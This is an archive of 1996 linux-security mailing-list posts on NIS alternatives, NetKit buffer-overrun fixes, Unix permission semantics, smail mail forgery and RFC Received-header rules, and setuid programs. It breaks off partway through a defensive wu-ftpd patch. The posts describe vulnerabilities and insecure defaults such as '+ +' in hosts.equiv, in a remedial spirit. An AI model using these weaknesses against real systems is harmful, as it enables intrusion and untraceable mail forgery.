Date: Wed, 24 Jul 1996 21:14:05 -0500 (CDT) From: "Edward S. Marshall" To: [email protected] Subject: Re: [linux-security] Alternative to NIS In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Marek Michalkiewicz: > Eric M. Boyd: > > Everywhere I look security wise, people say to stay away from NIS because > > it's very insecure, and that NIS+ isn't much better. Does anyone have any > > suggestions as to a replacement to use? I want to make sure my site is > > secure, but it's really a hassle to individually add a user to each > > machine, or ask a user to change their password on each machine they use. > > Here is one suggestion: use rdist to update the /etc/passwd and > /etc/shadow files on each machine from the "server" machine (where > users change their passwords). rdist should be run after any changes > have been made, and/or periodically from a cron job. By default, > rdist uses rsh to transfer files - not very secure, but it can be > modified to use ssh (ftp://ftp.cs.hut.fi/pub/ssh/) instead. One problem with this approach is that you can't (simply) restrict access for particular users on particular systems. Ideally, here's what I'd like to do: (Please excuse the crude drawings...:-) +--------------+ | Central | |Authentication| | Server | +-----------------+ +------+-------+ | Terminal Server | | +---------+-------+ | | |---+------+----+----------------+------+------+------------+---| | | | | | +-----+----+ +----+------+ +-------+---+ +-------+--+ +-----+--+ |Shell Host| |File Server| | Mail Host | | WWW Host | | Router | +----------+ +-----------+ +-----------+ +----------+ +--------+ Basically, a typical ISP setting, except that I'd like to centrallize all authentication services on a single server, as above. Basically, any login attempts are checked with the central server (via telnet, rlogin, ftp, etc). I'd like to be able to do getpw*() lookups without change, and basically have the calls fail when the user is denied access to "log in" by whatever specific means failed on a specific host. I.e. Jack is allowed to telnet to the shell host, retrieve pop mail from the mail host, and upload web pages to the www host via ftp. He cannot log in at all to the file server, authentication server, terminal server, or router (assuming these are all linux systems :-). Is there enough software support available to be able to do this right now with any authentication scheme? If so, could someone provide some pointers? I've read up a bit on Kerberos, and it sounds like a good alternative, but I don't know enough about the practical side of implementation (i.e. what support is available, what will I have to do myself, etc). Basically, I'm just out for pointers to authentication schemes which allow me to selectively control access to services from a central server (I believe someone else on this list mentioned "The fool says: don't put all your eggs in one basket. The wise man says: put all your eggs in one basket, and WATCH THAT BASKET." :-). -- .-----------------------------------------------------------------------------. | Edward S. Marshall | CII Technical Administrator, | | http://www.common.net/~emarshal/ | Vice-President, Common Internet | | Finger for PGP public key. | Inc, and Linux & LPmud (ab)user. | `-----------------------------------------------------------------------------' From [email protected] Thu Jul 25 14:22:22 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id OAA17726; Thu, 25 Jul 1996 14:22:22 -0400 Date: Thu, 25 Jul 1996 13:49:20 -0400 Message-Id: <[email protected]> From: "Theodore Y. Ts'o" To: "Alexander O. Yuriev" Cc: [email protected] In-Reply-To: Alexander O. Yuriev's message of Wed, 24 Jul 1996 09:39:59 -0400, <[email protected]> Subject: Re: [linux-security] Radius Address: 1 Amherst St., Cambridge, MA 02139 Phone: (617) 253-8091 Sender: [email protected] Precedence: list Radious is useful for authenticating people who are logging in to terminal servers over a modem line, where you assume that (a) the modem line won't be tapped by the government or the phone company and (b) the person on the modem can't tap the network between the terminal server and the Radius server. (b) may be fixable if you encrypt between the terminal server and the Radious server, but it still doesn't fix (a). - Ted From [email protected] Thu Jul 25 14:29:58 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id OAA17785; Thu, 25 Jul 1996 14:29:58 -0400 From: David Holland Message-Id: <[email protected]> Subject: [linux-security] Linux NetKit-B update. To: [email protected], [email protected] Date: Wed, 24 Jul 1996 01:41:12 -0400 (EDT) X-Mailer: ELM [version 2.4 PL22] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list Linux NetKit-B-0.07 has been released (check comp.os.linux.announce for details). This fixes the following security problems/hazards: 1. Possible overrun copying DNS results into a buffer on the stack in fingerd while processing the linux-specific -w ("welcome banner") option. Patch: convert sprintf to snprintf. 2. Possible overrun copying DNS results into a buffer on the stack in talkd. This affected FreeBSD, NetBSD, and OpenBSD as well; all have integrated a fix into the current development tree. It may affect vendors... Patch: convert sprintf to snprintf in announce.c. 3. Possible overrun copying $TERM into a buffer on the stack in rlogin. This affects lots of platforms, but has been mentioned here before I think. Patch: use snprintf or strncpy. 4. Suspicious (but not necessarily exploitable) handling of buffers on the stack in rshd. Patch: convert sprintf to snprintf. 5. rsh didn't drop root before execing rlogin. This is not a big deal except in conjunction with (3) -- chmod -s on rlogin is *not* sufficient. 6. Buffer overflow in ping mentioned yesterday, but it's not on the stack and consequently probably not exploitable. Patch: use snprintf. 7. Integrated a fix for the telnetd environment bug (old news, but it hadn't got into the standard linux sources yet.) Also, there was a bug in sliplogin where it did "setuid(0); system()" without clearing the environment. A fixed version has been available for Linux and FreeBSD for some time, but the news had not reached NetBSD until last week. Vendor versions could be vulnerable. -- - David A. Holland | Number of words in the English language that [email protected] | exist because of typos or misreadings: 381 From [email protected] Thu Jul 25 14:31:10 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id OAA17803; Thu, 25 Jul 1996 14:31:10 -0400 Message-Id: <[email protected]> Subject: [linux-security] Test SQUAD recruitment call. To: [email protected] Date: Wed, 24 Jul 1996 14:54:14 +0200 (MET DST) From: [email protected] (Rogier Wolff) Content-Type: text Sender: [email protected] Precedence: list As your moderator I sometimes see reports of problems that don't really exist. Usually I can weed those out myself, or ask the poster to do some more "homework". In some cases however both I and the poster don't have enough time to go back and verify the report. For this purpose, it might be nice to have a test-squad of about 5 to 10 volunteers who would like to receive such reports and verify the existence of the reported security holes. There should then be no more than a few days delay before the final report hits the list. This of course doesn't apply to things that are clearly either true or false, but only to the hard ones "in between". What do you think? Volunteers? [Mod: Please reply to Rogier, not to the list address. --Jeff.] Roger. /* EMail: [email protected] */ int main (int argc,char**argv){ /* Tel: +31-15-2137459 */ if (*++argv&&!strcmp(*argv,"-advice")) /* WWW: http://www.BitWizard.nl/ */ {printf("Don't Panic!\n");exit(42);}} From [email protected] Thu Jul 25 14:34:04 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id OAA17827; Thu, 25 Jul 1996 14:34:04 -0400 Message-Id: Subject: Re: Fwd: [linux-security] security idea To: [email protected] (Ian Goldberg) Date: Thu, 25 Jul 1996 09:50:45 +0200 (MDT) From: "Daniel Roedding" Cc: [email protected] In-Reply-To: <[email protected]> from "Ian Goldberg" at Jul 23, 96 01:44:53 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 1234 Sender: [email protected] Precedence: list -----BEGIN PGP SIGNED MESSAGE----- Ian Goldberg wrote: > In /etc/group: > lusers::6969:lightman,mitnick > Your programs: > -r-s---r-x 1 root lusers 9397 Aug 8 1995 /usr/bin/traceroute > (Make sure your "newgrp" program doesn't drop your supplementary groups...) I'm not quite sure if all Linux versions handle this properly, but certainly many "commercial" Unix boxes won't, because they first check the "world" access rights and then "add" group specific ones. So you can use group specific access rights only to give members of a certain group *more* rights than the rest of the world, but not to *exclude* them. My personal conclusion: Even if Linux handles "group exclusions", you probably should not use this feature if you also have to deal with other Unix boxes. You might forget about these peculiarities some time and dig new security holes... Daniel - -- Daniel Roedding [email protected] INTJ Padertown City +49-5251-541965 voice, 541334 data http://www.owl.de -----BEGIN PGP SIGNATURE----- Version: 2.6 iQBVAgUBMfcnUWaWRTqP6nZNAQHJ4gIAp/hayruoWdwpx9S7YLQXBMI28jTjOzkb aOA9pkxxCOhte47VQ4glhL9iWfBGJohoLyk8vgQsMF5Y0dgyAl5jrw== =RiKU -----END PGP SIGNATURE----- From [email protected] Thu Jul 25 17:08:33 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id RAA20098; Thu, 25 Jul 1996 17:08:33 -0400 Date: Thu, 25 Jul 1996 16:35:01 -0400 Message-Id: <[email protected]> From: "Theodore Y. Ts'o" To: "Daniel Roedding" Cc: [email protected], [email protected] In-Reply-To: Daniel Roedding's message of Thu, 25 Jul 1996 09:50:45 +0200 (MDT), Subject: Re: Fwd: [linux-security] security idea Address: 1 Amherst St., Cambridge, MA 02139 Phone: (617) 253-8091 Sender: [email protected] Precedence: list Date: Thu, 25 Jul 1996 09:50:45 +0200 (MDT) From: "Daniel Roedding" I'm not quite sure if all Linux versions handle this properly, but certainly many "commercial" Unix boxes won't, because they first check the "world" access rights and then "add" group specific ones. So you can use group specific access rights only to give members of a certain group *more* rights than the rest of the world, but not to *exclude* them. Err no. I'm pretty certain POSIX specifies how permission bits work, and that group bits can be used to exclude rights. If you think you can find a Unix or Unix-clone implementation which does things the way you've described, let us know. But I'm pretty sure POSIX requires a very specific permissions bits algorithm. - Ted linux-security/linux-security.960726100664 1767 1767 33737 6176147364 16703 0ustar majdommajdomFrom [email protected] Fri Jul 26 04:20:42 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id EAA24903; Fri, 26 Jul 1996 04:20:42 -0400 Date: Thu, 25 Jul 1996 22:56:29 -0400 From: "Joseph S. D. Yao" Message-Id: <[email protected]> To: [email protected], [email protected], [email protected] Subject: Re: [linux-security] Linux NetKit-B update. Sender: [email protected] Precedence: list > 6. Buffer overflow in ping mentioned yesterday, but it's not on the > stack and consequently probably not exploitable. Patch: use snprintf. Stack vs. heap is irrelevant. The V6 'login' overrun bug was in data space, rather than on the stack, and it gave a very nice way to log in as root. No, I don't remember the exact character string to enter ... ;-) Joe Yao [email protected] - Joseph S. D. Yao [REW: If a program is setuid, don't make assumptions about "probably not exploitable". Maybe you're right. But then again, maybe not. Would you be willing to bet $1000,- on your statement that it's not exploitable? For that "prize money" you might interest someone into actually proving you're wrong. There are others that have hundreds of users on their machines, who could easily lose much more than $1000 if a bad break-in occurred through such a hole....] From [email protected] Fri Jul 26 04:24:07 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id EAA24971; Fri, 26 Jul 1996 04:24:07 -0400 From: David Holland Message-Id: <[email protected]> Subject: Re: [linux-security] Security hole in Abuse game (in RedHat 2.1) To: [email protected] (Alan Cox) Date: Thu, 25 Jul 1996 15:37:55 -0400 (EDT) Cc: [email protected], [email protected] In-Reply-To: <[email protected]> from "Alan Cox" at Jul 24, 96 01:15:05 pm X-Mailer: ELM [version 2.4 PL22] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list > [REW: Yes, make sure that you have the newest netkit. > : > I find it therefore VERY important that fixes get back to the > maintainers: > : It's also important that there *are* maintainers. Who's maintaining mount these days? [REW: I just got myself a new mount a few days ago. The pointers to maintainers seem to be over two years old, but at least someone messed with the version I'm using last may.] -- - David A. Holland | Number of words in the English language that [email protected] | exist because of typos or misreadings: 381 From [email protected] Fri Jul 26 04:24:28 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id EAA24987; Fri, 26 Jul 1996 04:24:28 -0400 Message-Id: Date: Thu, 25 Jul 96 18:03 CDT From: [email protected] (Robert Nichols) To: [email protected], [email protected] Subject: Re: Fwd: [linux-security] security idea Cc: [email protected] Sender: [email protected] Precedence: list On Thu, 25 Jul 1996 "Daniel Roedding" wrote > >Ian Goldberg wrote: > >> In /etc/group: > >> lusers::6969:lightman,mitnick > >> Your programs: > >> -r-s---r-x 1 root lusers 9397 Aug 8 1995 /usr/bin/traceroute > >> (Make sure your "newgrp" program doesn't drop your supplementary groups...) > >I'm not quite sure if all Linux versions handle this properly, but >certainly many "commercial" Unix boxes won't, because they first >check the "world" access rights and then "add" group specific ones. >So you can use group specific access rights only to give members >of a certain group *more* rights than the rest of the world, but >not to *exclude* them. That's exactly wrong for every Unix system I've ever used. If you are the owner, you get the "owner" permissions and no others. If you are not the owner but are a member of the group, you get the "group" permissions and no others. If you are not the owner and are not a member of the group, you get the "world" permissions. -- Bob Nichols [email protected] From [email protected] Fri Jul 26 05:01:41 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id FAA25169; Fri, 26 Jul 1996 05:01:41 -0400 Date: Fri, 26 Jul 1996 04:05:27 -0400 (EDT) From: Richard Bullington To: John Henders cc: "Miller, Raul D." , [email protected] Subject: Re: [linux-security] sendmail security In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Tue, 23 Jul 1996, John Henders wrote: > Qmail is nice, but in defence of smail, I'd like to point out that smail > has had _one_ cert notice since they started doing cert advisories. > There was one other problem with the Slackware distribution of smail as > it was configured wrong (big surprise there). Smail may not have CERT advisories put out, but people who write mailbombing software are actively exploiting a weakness in the production version (at least up to 3.1.29.1): it does not keep an IP address trail of SMTP participants in the "Received:" line of the headers. This means that if you can telnet to the SMTP port of a machine running smail, you can effectively forge mail. Smail will hide your tracks from the recipient of the message, who will need to get cooperation from the system administrators of the smail system to do any more tracing. Can someone quote from an SMTP related RFC that specifies what should be in the "Received:" header? Is Smail being a bad SMTP citizen? -Richard Bullington http://www.obscure.org From [email protected] Fri Jul 26 05:02:21 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id FAA25183; Fri, 26 Jul 1996 05:02:21 -0400 From: David Holland Message-Id: <[email protected]> Subject: [linux-security] NetKit-B-0.07A To: [email protected] Date: Fri, 26 Jul 1996 02:01:04 -0400 (EDT) X-Mailer: ELM [version 2.4 PL22] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list Quick note: NetKit-B-0.07A replaces NetKit-B-0.07; there was a fatal (but not security-related) bug in telnet. md5sum of NetKit-B-0.07A.tar.gz: d643cca309f4a01570c36f8d88c9c331 md5sum of NetKit-B-0.07-0.07A.patch: 84c88df24e4633b76b41a47a321c5ac6 sorry. (If anyone cares: the bug was that telnet ignored ^], which turned out to be because some modules included which caused _POSIX_VDISABLE's value to be different in different modules... sigh.) -- - David A. Holland | Number of words in the English language that [email protected] | exist because of typos or misreadings: 381 From [email protected] Fri Jul 26 09:34:30 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id JAA27073; Fri, 26 Jul 1996 09:34:30 -0400 From: David Holland Message-Id: <[email protected]> Subject: [linux-security] Re: list of setuid programs (was: Security hole in Abuse) To: [email protected] Date: Wed, 24 Jul 1996 18:18:48 -0400 (EDT) In-Reply-To: <[email protected]> from "Tim Wilfong" at Jul 22, 96 11:42:28 pm X-Mailer: ELM [version 2.4 PL22] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list > I found (there have been requests for this list in the past right?): > > at/cron/printing: at, crontab, lpq, lpr, lprm. LPRng and PLP are secure replacements for BSD lpr that don't involve setuid. (Apparently LPRng is a rewrite of PLP.) Given that lpr is full of security holes, it would be wise to investigate and/or switch to one of these. > network: rcp, rlogin, rsh, traceroute, sliplogin, timedc, ping. Please get the fixes to rcp, rlogin, rsh, and ping in the new NetKit. :-) Also be advised that old versions of sliplogin had a hole you could fly a starship through. > mount: mount, umount. I'm told there's a buffer overrun in mount, but I haven't looked at it yet. Smbmount is reportedly also not particularly secure. [Also note that ssh, if installed, needs to be setuid root.] -- - David A. Holland | Number of words in the English language that [email protected] | exist because of typos or misreadings: 381 From [email protected] Fri Jul 26 09:36:03 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id JAA27104; Fri, 26 Jul 1996 09:36:03 -0400 Date: Fri, 26 Jul 1996 11:49:42 +0200 From: [email protected] Message-Id: <[email protected]> To: [email protected] Subject: Re: [linux-security] Security hole in Abuse game (in RedHat 2.1) Cc: [email protected] Sender: [email protected] Precedence: list It's also important that there *are* maintainers. Who's maintaining mount these days? I am. For the latest mount, see ftp.win.tue.nl:/pub/linux/util. Andries From [email protected] Fri Jul 26 09:58:07 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id JAA27329; Fri, 26 Jul 1996 09:58:07 -0400 Subject: Re: [linux-security] sendmail security To: [email protected] (Richard Bullington) Date: Fri, 26 Jul 1996 03:07:57 -0700 (PDT) Cc: [email protected] In-Reply-To: from Richard Bullington at "Jul 26, 96 04:05:27 am" Reply-to: [email protected] X-Mailer: ELM [version 2.4ME+ PL16 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 2366 Message-Id: From: John Henders Sender: [email protected] Precedence: list Richard Bullington writes: > Smail may not have CERT advisories put out, but people who write > mailbombing software are actively exploiting a weakness in the production > version (at least up to 3.1.29.1): it does not keep an IP address trail of > SMTP participants in the "Received:" line of the headers. > It does when configured correctly. You need a line like this in the config file. Notice the second if def: line. The problem is most smail setups are not configured correctly. This part of my config file came with the smail installation for SLS 1.0, and I believe it was supplied by Ian Kluft, though I modified it to add the ident field when I upgraded smail to use identd. Slackware gave smail a very bad name because it was never configured correctly. Debian does a much better job. # received_field="Received: \ ${if def:sender_host {from $sender_host }}\ ${if def:sender_host_addr {[$sender_host_addr] }}\ ${if def:sender_proto: with $sender_proto }\ ${if def:ident_sender:[ident $ident_sender] by $ident_method }\ ${if def:sender_host {\n\t}}\ by $primary_name \ ${if def:sender_proto {with $sender_proto }}\ \n\t($version_string #$compile_num) \ id $message_id; $spool_date" > This means that if you can telnet to the SMTP port of a machine running > smail, you can effectively forge mail. Smail will hide your tracks from > the recipient of the message, who will need to get cooperation from the > system administrators of the smail system to do any more tracing. > I've never seen anyone post on comp.mail.smail asking for a fix for this or I would have posted it. > Can someone quote from an SMTP related RFC that specifies what should > be in the "Received:" header? Is Smail being a bad SMTP citizen? Look at 822. I doubt it requires the IP address or smail would probably have it by default. It always attempted to follow the RFC's pretty carefully, from the comments in the code. [Mod: I'm looking at 822 right now, and it's...well...interesting in this respect. From section 4.1: trace = return ; path to sender 1*received ; receipt tags ... received = "Received" ":" ; one per relay ["from" domain] ; sending host ["by" domain] ; receiving host ["via" atom] ; physical path *("with" atom) ; link/mail protocol ["id" msg-id] ; receiver msg id ["for" addr-spec] ; initial form Later: 4.3.2. RECEIVED A copy of this field is added by each transport service that relays the message. The information in the field can be quite useful for tracing transport problems. The names of the sending and receiving hosts and time-of- receipt may be specified. My reading of this is that the Received: header is required, but that any actual trace information it contains is optional. It appears that John is correct in his assertion; someone please correct me if I am wrong. --Jeff.] My new favorite mailer is Exim. It has similar config files to smail, but is much more efficient by design. -- Artificial Intelligence stands no chance against Natural Stupidity. GAT d- -p+(--) c++++ l++ u++ t- m--- W--- !v b+++ e* s-/+ n-(?) h++ f+g+ w+++ y* linux-security/linux-security.960727100664 1767 1767 26510 6176417110 16660 0ustar majdommajdomFrom [email protected] Sat Jul 27 09:33:00 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id JAA04041; Sat, 27 Jul 1996 09:33:00 -0400 Date: Fri, 26 Jul 1996 15:07:41 -0400 From: "Joseph S. D. Yao" Message-Id: <[email protected]> To: [email protected], [email protected] Subject: Re: [linux-security] Alternative to NIS Cc: [email protected], [email protected] Sender: [email protected] Precedence: list > [ To the moderators: This is drifting from linux security to linux ] > [ administration issues. Feel free to drop it from linux-security ] > [ if you think it unfit. --ben ] Well, it's hard to keep them separate. Good security depends first and foremost on good security policy and social engineering, and second on good system administration (which you might even consider part of the former); good utilities come a little later down the line. ;-) [REW: and a very important part of administration is the initial configuration that a system comes with! It should be usable, but not too open (examples: "+ +" in hosts.equiv, or "ps -auxww in /etc/inetd.conf").] Joe Yao [email protected] - Joseph S. D. Yao From [email protected] Sat Jul 27 09:33:17 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id JAA04054; Sat, 27 Jul 1996 09:33:17 -0400 Date: Fri, 26 Jul 1996 15:00:37 -0400 From: "Joseph S. D. Yao" Message-Id: <[email protected]> To: [email protected], [email protected] Subject: Re: [linux-security] sendmail security Cc: [email protected], [email protected] Sender: [email protected] Precedence: list > From: Richard Bullington > Can someone quote from an SMTP related RFC that specifies what should > be in the "Received:" header? Is Smail being a bad SMTP citizen? >From rfc822.txt: ... received = "Received" ":" ; one per relay ["from" domain] ; sending host ["by" domain] ; receiving host ["via" atom] ; physical path *("with" atom) ; link/mail protocol ["id" msg-id] ; receiver msg id ["for" addr-spec] ; initial form ";" date-time ; time received ... source = [ trace ] ; net traversals originator ; original mail [ resent ] ; forwarded ... trace = return ; path to sender 1*received ; receipt tags ... [translation: source contains o p t i o n a l trace, which contains one or more received, which is as above. not shown: source is a required field, and fields are required. -joe yao-] ... 4.3.2. RECEIVED A copy of this field is added by each transport service that relays the message. The information in the field can be quite useful for tracing transport problems. The names of the sending and receiving hosts and time-of- receipt may be specified. The "via" parameter may be used, to indicate what physical mechanism the message was sent over, such as Arpanet or Phonenet, and the "with" parameter may be used to indicate the mail-, or connection-, level protocol that was used, such as the SMTP mail protocol, or X.25 tran- sport protocol. Note: Several "with" parameters may be included, to fully specify the set of protocols that were used. Some transport services queue mail; the internal message iden- tifier that is assigned to the message may be noted, using the "id" parameter. When the sending host uses a destination address specification that the receiving host reinterprets, by expansion or transformation, the receiving host may wish to record the original specification, using the "for" parameter. For example, when a copy of mail is sent to the member of a distribution list, this parameter may be used to record the original address that was used to specify the list. ... Joe Yao [email protected] - Joseph S. D. Yao From [email protected] Sat Jul 27 09:34:13 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id JAA04070; Sat, 27 Jul 1996 09:34:13 -0400 Subject: Re: [linux-security] sendmail security To: [email protected] Date: Fri, 26 Jul 1996 15:44:53 -0700 (PDT) Reply-to: [email protected] X-Mailer: ELM [version 2.4ME+ PL16 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 2861 Message-Id: From: John Henders Sender: [email protected] Precedence: list To moderator. I sent this yesterday but didn't see it on the list. On chacking I discovered I'd accidently wrapped the iuncluded text with my new text so it may have been rejected for unreadbility. Here is the message properly formatted. Richard Bullington writes: > Smail may not have CERT advisories put out, but people who write > mailbombing software are actively exploiting a weakness in the production > version (at least up to 3.1.29.1): it does not keep an IP address trail of > SMTP participants in the "Received:" line of the headers. > It does when configured correctly. You need a line like this in the config file. Notice the second if def: line. The problem is most smail setups are not configured correctly. This part of my config file came with the smail installation for SLS 1.0, and I believe it was supplied by Ian Kluft, though I modified it to add the ident field when I upgraded smail to use identd. Slackware gave smail a very bad name because it was never configured correctly. Debian does a much better job. # received_field="Received: \ ${if def:sender_host {from $sender_host }}\ ${if def:sender_host_addr {[$sender_host_addr] }}\ ${if def:sender_proto: with $sender_proto }\ ${if def:ident_sender:[ident $ident_sender] by $ident_method }\ ${if def:sender_host {\n\t}}\ by $primary_name \ ${if def:sender_proto {with $sender_proto }}\ \n\t($version_string #$compile_num) \ id $message_id; $spool_date" > This means that if you can telnet to the SMTP port of a machine running > smail, you can effectively forge mail. Smail will hide your tracks from > the recipient of the message, who will need to get cooperation from the > system administrators of the smail system to do any more tracing. I've never seen anyone post on comp.mail.smail asking for a fix for this or I would have posted it. > Can someone quote from an SMTP related RFC that specifies what should > be in the "Received:" header? Is Smail being a bad SMTP citizen? Look at 822. I doubt it requires the IP address or smail would probably have it by default. It always attempted to follow the RFC's pretty carefully, from the comments in the code. My new favorite mailer is Exim. It has similar config files to smail, but is much more efficient by design. -- Artificial Intelligence stands no chance against Natural Stupidity. GAT d- -p+(--) c++++ l++ u++ t- m--- W--- !v b+++ e* s-/+ n-(?) h++ f+g+ w+++ y* From [email protected] Sat Jul 27 09:44:41 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id JAA04110; Sat, 27 Jul 1996 09:44:41 -0400 To: [email protected] Date: 27 Jul 1996 10:53:52 GMT From: [email protected] (Richard Huveneers) Message-ID: <[email protected]> Organization: Private site ** OS: Linux ** NTS: INN 1.4 unoff2, Taylor UUCP 1.05 References: <[email protected]>L/%N. Reply-To: [email protected] Subject: Re: [linux-security] Re: list of setuid programs (was: Security hole in Abuse) Sender: [email protected] Precedence: list In article <[email protected]>, [email protected] (David Holland) writes: > > mount: mount, umount. > >I'm told there's a buffer overrun in mount, but I haven't looked at it >yet. Smbmount is reportedly also not particularly secure. I did a 'chmod u-s' on mount and umount a few months ago. As far as I can see, this only breaks the 'user' mount option. In short, if you only issue mount and umount as root, there no point in installing it suid root. [REW: Right: I only noticed the missing s-bits when I tried using mount as a normal user again after I had upgraded. If you don't need them you could leave the s-bits off. This is also the recommendation for all setuid tools that you have on your system. If you don't need them executed at all, or want to require root-privilidges, you can simply take the s-bits off.] Richard Huveneers. From [email protected] Sat Jul 27 09:48:55 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id JAA04125; Sat, 27 Jul 1996 09:48:55 -0400 Date: 27 Jul 1996 10:36:00 +0200 From: [email protected] (Kai Henningsen) To: [email protected] Message-ID: <[email protected]> In-Reply-To: Subject: Re: [linux-security] sendmail security X-Mailer: CrossPoint v3.1 R/C435 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Organization: Organisation? Me?! Are you kidding? X-No-Junk-Mail: I do not want to get *any* junk mail. Comment: Unsolicited commercial mail will incur an US$100 handling fee per received mail. Sender: [email protected] Precedence: list [email protected] (Richard Bullington) wrote on 26.07.96 in : [REW: deleted stuff] I believe this is configurable, though I can't say how off the top of my head, and can't look it up right now. [REW: It is configurable, deleted some more.] Well, there's RFC 1123, Requirements for Internet Hosts -- Application and Support (which is mainly a clarification of earlier RFCs), which has: 5.2.8 DATA Command: RFC-821 Section 4.1.1 Every receiver-SMTP (not just one that "accepts a message for relaying or for final delivery" [SMTP:1]) MUST insert a "Received:" line at the beginning of a message. In this line, called a "time stamp line" in RFC-821: * The FROM field SHOULD contain both (1) the name of the source host as presented in the HELO command and (2) a domain literal containing the IP address of the source, determined from the TCP connection. [REW: deleted some more. If I'm not mistaken "SHOULD" is explained to mean the same as "MUST" in the RFC's.] No doubt the new mail RFCs the DRUMS working group is currently preparing (drums[-request]@cs.utk.edu) will include this stuff. MfG Kai linux-security/linux-security.960728100664 1767 1767 23312 6176653305 16666 0ustar majdommajdomFrom [email protected] Sun Jul 28 08:02:07 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.9 $) id IAA08672; Sun, 28 Jul 1996 08:02:07 -0400 Date: 27 Jul 1996 10:36:00 +0200 From: [email protected] (Christopher Creutzig) To: [email protected] Message-Id: Subject: [linux-security] FTPd vulnerability and fix. Sender: [email protected] Precedence: list On Thu, 25 Jul 1996, Rogier Wolff wrote: :> Good work. Do you have a little more time on your hands? May I ask :> you to look into one more "problem" that exists. You've almost :> seen the problem yourself already. I've already thought about the problem you address, but the problem is that I'm not very good at TCP/IP programming, so I don't know how to look up whether a different IP address is a "good" one, i.e. one for the same host. Anyway, I made up a quick patch to allow the thing you addressed, so here is a message you might send to the list: -- Dear Netizens, I sent a patch to the list concerning ftp attacks we have been watching. People used our ftp server to send data to nameserver ports on other machines and to probe other hosts for daemons connected to ports <1024. While I was at it, I also tought it to accept /etc/ftponly as a non-/etc/shells-but-valid-login shell as proposed on this list already. Rogier Wolff asked whether I could also implement aomething to stop people from sending data to arbitrary hosts, so that wu-ftpd could be used on a firewall. The solution I implemented is not very neat, but anyway, these are the patches, starting from sunsite.unc.edu:/.../system/Network/file-transfer/wu-ftpd-2.4-fixed-tar.gz: --8<-- diff -r -u wu-ftpd-2.4-fixed/src/config/config.lnx wu-ftpd-2.4-fixed-sec/src/config/config.lnx --- wu-ftpd-2.4-fixed/src/config/config.lnx Sat Jun 3 17:30:59 1995 +++ wu-ftpd-2.4-fixed-sec/src/config/config.lnx Fri Jul 26 18:04:51 1996 @@ -13,10 +13,12 @@ #define OVERWRITE #undef REGEX #define SETPROCTITLE #define UPLOAD #undef USG #define SVR4 +#define PARANOIA +#undef EXTRA_PARANOIA #include #include diff -r -u wu-ftpd-2.4-fixed/src/config/config.lnx.no-shadow wu-ftpd-2.4-fixed-sec/src/config/config.lnx.no-shadow --- wu-ftpd-2.4-fixed/src/config/config.lnx.no-shadow Sat Jun 3 19:56:42 1995 +++ wu-ftpd-2.4-fixed-sec/src/config/config.lnx.no-shadow Fri Jul 26 18:04:51 1996 @@ -17,6 +17,8 @@ #define UPLOAD #undef USG #define SVR4 +#define PARANOIA +#undef EXTRA_PARANOIA #include #include diff -r -u wu-ftpd-2.4-fixed/src/config/config.lnx.shadow wu-ftpd-2.4-fixed-sec/src/config/config.lnx.shadow --- wu-ftpd-2.4-fixed/src/config/config.lnx.shadow Sat Jun 3 19:56:51 1995 +++ wu-ftpd-2.4-fixed-sec/src/config/config.lnx.shadow Fri Jul 26 18:04:52 1996 @@ -17,6 +17,8 @@ #define UPLOAD #undef USG #define SVR4 +#define PARANOIA +#undef EXTRA_PARANOIA #include #include diff -r -u wu-ftpd-2.4-fixed/src/ftpcmd.y wu-ftpd-2.4-fixed-sec/src/ftpcmd.y --- wu-ftpd-2.4-fixed/src/ftpcmd.y Sat Jun 3 16:36:21 1995 +++ wu-ftpd-2.4-fixed-sec/src/ftpcmd.y Fri Jul 26 18:06:45 1996 @@ -95,6 +95,11 @@ char **ftpglob(); off_t 